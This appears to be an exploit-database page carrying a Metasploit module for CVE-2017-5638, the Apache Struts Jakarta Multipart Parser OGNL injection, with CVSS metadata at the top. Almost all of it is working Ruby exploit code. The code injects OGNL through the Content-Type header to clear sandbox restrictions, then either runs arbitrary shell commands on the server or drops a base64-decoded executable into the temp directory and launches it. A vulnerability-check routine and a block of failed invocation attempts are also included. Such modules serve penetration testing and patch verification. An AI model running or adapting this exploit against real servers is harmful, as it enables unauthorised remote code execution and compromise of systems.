Apache Struts Jakarta Multipart Parser OGNL Injection

Published
Credit
Risk
2017.03.15
Jeffrey Martin
High
CWE
CVE
Local
Remote
N/A
CVE-2017-5638
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
10/10
10/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vunlerability in Apache Struts
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
via http Content-Type header.

Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
'Author' => [
'Nike.Zheng', # PoC
'Nixawk', # Metasploit module
'Chorder', # Metasploit module
'egypt', # combining the above
'Jeffrey Martin', # Java fu
],
'References' => [
['CVE', '2017-5638'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
],
'Privileged' => true,
'Targets' => [
[
'Universal', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
],
'DisclosureDate' => 'Mar 07 2017',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
]
)
register_advanced_options(
[
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
]
)

@data_header = "X-#{rand_text_alpha(4)}"
end

def check
var_a = rand_text_alpha_lower(4)

ognl = ""
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|

begin
resp = send_struts_request(ognl)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end

if resp && resp.code == 200 && resp.headers[var_a]
vprint_good("Victim operating system: #{resp.headers[var_a]}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
case payload.arch.first
#when ARCH_JAVA
# datastore['LHOST'] = nil
# resp = send_payload(payload.encoded_jar)
when ARCH_CMD
resp = execute_command(payload.encoded)
else
resp = send_payload(generate_payload_exe)
end

require'pp'
pp resp.headers if resp
end

def send_struts_request(ognl, extra_header: '')
uri = normalize_uri(datastore["TARGETURI"])
content_type = "%{(#_='multipart/form-data')."
content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
content_type << "(#_memberAccess?"
content_type << "(#_memberAccess=#dm):"
content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
content_type << "(#ognlUtil.getExcludedClasses().clear())."
content_type << "(#context.setMemberAccess(#dm))))."
content_type << ognl
content_type << "}"

headers = { 'Content-Type' => content_type }
if extra_header
headers[@data_header] = extra_header
end

#puts content_type.gsub(").", ").\n")
#puts

resp = send_request_cgi(
'uri' => uri,
'method' => datastore['HTTPMethod'],
'headers' => headers
)

if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
resp
end

def execute_command(cmd)
ognl = ''
ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|

# You can add headers to the server's response for debugging with this:
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
#ognl << %q|(#r.addHeader('decoded',#cmd)).|

ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start())|

send_struts_request(ognl, extra_header: cmd)
end

def send_payload(exe)

ognl = ""
ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).|
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|

# Using stuff from the sun.* package here means it likely won't work on
# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
# work and I don't see a better way of getting binary data onto the
# system. =/
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
ognl << %q|(#fos.write(#d)).|
ognl << %q|(#fos.close()).|

ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete())|

send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
end

end

=begin
Doesn't work:

ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).|
ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|
ognl << %q|(#m.invoke(null,null)).|

#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed
#ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6

#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed
#ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884

=end


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